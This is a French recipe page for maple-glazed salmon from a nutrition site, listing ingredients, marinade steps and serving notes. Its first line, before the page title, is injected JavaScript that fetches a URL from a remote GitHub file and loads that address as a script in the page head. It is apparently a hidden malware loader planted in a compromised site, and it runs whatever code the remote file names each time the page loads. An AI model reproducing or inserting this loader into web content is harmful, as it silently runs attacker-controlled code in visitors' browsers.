;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Saumon laqué à l’érable, recette de saumon santé – Haute Nutrition
Facebook Pinterest Instagram Spotify Youtube
appel exploratoire
recette de saumon santé
Approuvé par coach Sylvia / index de recettes / Repas principal

Saumon laqué à l’érable, recette de saumon santé

juin 5, 2017

RECETTES

recette de saumon santé

Saumon laqué à l'érable

wpengine
Recette de saumon santé
5 from 1 vote
Print Recipe Pin Recipe
Prep Time 10 mins
Cook Time 10 mins
Total Time 20 mins
Servings 4
Calories 497 kcal

Ingredients
  

Marinade

  • 900 gr Saumon bio si possible
  • 120 ml Sauce soya ou Sauce Braggs
  • 60 ml Sirop d'érable
  • 60 ml Huile de sésame grillée
  • 30 ml Zeste de lime

Instructions
 

  • Mélanger les ingrédients de la marinade et mariner le saumon au moins 1 heure avant ou si possible tout la journée
  • Cuire le saumon au four à 350F environ 10 minutes ou dans une poêle pour obtenir une plus belle laque.
  • Ajouter zeste de lime sur saumon 

Notes

Cette recette est adoré des enfants et fournit une bonne dose d'oméga-3.
Servir dans un poke bol avec edamame, riz basmati, patate douces, avocat et petite mayonnaise épicée avec samba oelek.
Saumon bio disponible chez Coscto et chez Mon Épicier bio
 

You May Also Like

Rouleau de Printemps

mai 30, 2017

Salade de crevettes, pommes de terre, celeri et jalapinos

août 21, 2018

Rapinis, noisetts grillées et citron

août 21, 2018
chocolat smoothie bowl with strawberries

recevez gratuitement

Abonnez-vous pour recevoir mes derniers trucs, conseils et recettes.

Pour une santé optimal

@hautenutrition

Copyright © 2022 Haute Nutrition tous droits réservés. Site Powered by Pix & Hue.